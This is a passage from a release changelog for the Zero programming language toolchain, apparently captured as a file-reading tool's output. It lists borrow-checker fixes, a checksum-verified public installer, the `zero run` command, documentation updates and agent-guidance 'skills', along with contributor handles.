@PeterXMR\n49|- @h4ckf0r0day\n50|\n51|## 0.1.2\n52|\n53|- Rebuilds borrow provenance tracking across references, fields, subpaths, assignments, control-flow joins, receiver side effects, generic methods, return summaries, and unreachable paths.\n54|- Tightens borrow conflict checking by deriving conflicts from provenance and comparing concrete places, with additional conformance coverage for provenance joins and edge cases.\n55|- Fixes checker regressions around borrow origins, reassignment, aggregate values, explicit reference fields, unknown identifiers, and fallibility propagation through wrappers.\n56|- Fixes dynamic CLI strings and Darwin executable UUID emission.\n57|- Adds Apache-2.0 licensing and lockfile license metadata.\n58|- Updates the public site with an install toggle, GitHub star count, and a mobile header Docs link.\n59|\n60|### Contributors\n61|\n62|- @ctate\n63|- @badlogic\n64|- @chenrui333\n65|- @heylakatos\n66|- @onevcat\n67|\n68|## 0.1.1\n69|\n70|- Adds the public installer at `https://zerolang.ai/install.sh`, with platform selection, GitHub release downloads, checksum verification, and `$HOME/.zero/bin/zero` installation.\n71|- Adds `zero run` for the everyday edit loop: build a host executable, run it, pass program arguments after `--`, forward stdout/stderr, and return the program exit status.\n72|- Updates README, homepage, getting started, install, and CLI docs around the curl install path, copyable commands, and `zero run`.\n73|- Reworks public docs to be more scannable and current, including stronger language, diagnostics, testing, target, package, optimization, and standard library references.\n74|- Removes placeholder module docs that described surfaces not ready for users and adds current module docs for `std.crypto`, `std.http`, and `std.net`.\n75|- Adds version-matched agent guidance through `zero skills`, including focused workflows for Zero syntax, diagnostics, builds, packages, standard library use, testing, and agent edit loops.\n76|- Keeps the installable Zero skill as a thin bootstrap so external skill managers discover one Zero skill while the compiler serves the richer guidance for the installed version.\n77|- Updates the `zero skills` CLI contract to serve bundled flat skill data while preserving list, get, path, and JSON workflows.\n78|\n79|### Contributors\n80|\n81|", "total_lines": 88, "file_size": 6316, "truncated": true, "hint": "Use offset=81 to continue reading (showing 1-80 of 88 lines)", "is_binary": false,
